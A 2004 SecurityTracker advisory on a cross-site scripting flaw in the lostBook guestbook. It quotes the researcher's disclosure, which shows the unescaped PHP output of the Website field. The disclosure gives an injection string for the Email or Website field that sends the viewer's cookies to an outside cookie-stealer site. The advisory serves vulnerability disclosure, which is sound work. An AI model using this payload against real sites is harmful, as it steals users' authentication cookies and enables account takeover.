lostBook Input Validation Holes Let Remote Users Conduct Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1010812
|
|
SecurityTracker URL: http://securitytracker.com/id?1010812
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jul 29 2004
|
Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Version(s): 1.1 and prior versions
|
Description: An input validation vulnerability was reported in the lostBook guestbook software. A remote user can conduct cross-site scripting attacks.
r3d5pik3 reported that the software does not filter HTML code from user-supplied input in the Email and Website fields. A remote
user can submit specially crafted text that, when viewed by a target user, will cause arbitrary scripting code to be executed by
the target user's browser. The code will originate from the site running the lostBook software and will run in the security context
of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any,
associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site
acting as the target user.
The vendor has reportedly been notified.
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
lostBook software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: verylost.f2o.org/lostBook.php (Links to External Site)
|
Cause: Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: Joseph Moniz <r3d_5pik3@yahoo.com>
|
Message History:
None.
|
Source Message Contents
|
Date: 29 Jul 2004 09:32:09 -0000
From: Joseph Moniz <r3d_5pik3@yahoo.com>
Subject: lostBook v1.1 Javascript Execution
|
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Product: lostBook
vendor: veryLost (verylost.tk)
Affected Versions: 1.1 and lower
Description: A simple flat db guestbook
Vulnerabilities: XSS
Date: July 29, 2004
Vuln Finder: r3d5pik3 (me)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1.) About
2.) Javascript Execution
3.) Vendor Notice
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ About ] oOoOoOo(O_o)
Ok the only reason i consider this javascript execution instead of XSS. Is simply because you cant in
ject html like you can in most
XSS vulnrabilities.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ JScript Execution ] oOoOoOo(O_o)
On the write entry page of the guest book there are 4 fields: Name, Email, Website, Entry. The Email
and Website feild go through
no filtering, and a malicous hacker could use that to insert javascript.
Example:
The Website data gets parsed like so
if(isset($web) && $web != "" && $web != " ") echo ' <a href="
'.$web.'"><img src="'.$path2files.'website.gif" border="0" alt="'
.$web.'"></a>';
An attacker would go about injecting xss by the following ways.
Inputting the following into either email or website field.
r3d5pik3.com" onload="document.location='http://www.cookiestealer.com?cookie='+document.coo
kie
if onload doesnt work they could simply use onmouseover instead
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ Vendor Notification ] oOoOoOo(O_o)
A couple seconds ago.
-r3d5pik3
ph33r t3h r3d 1z !!!
|
|
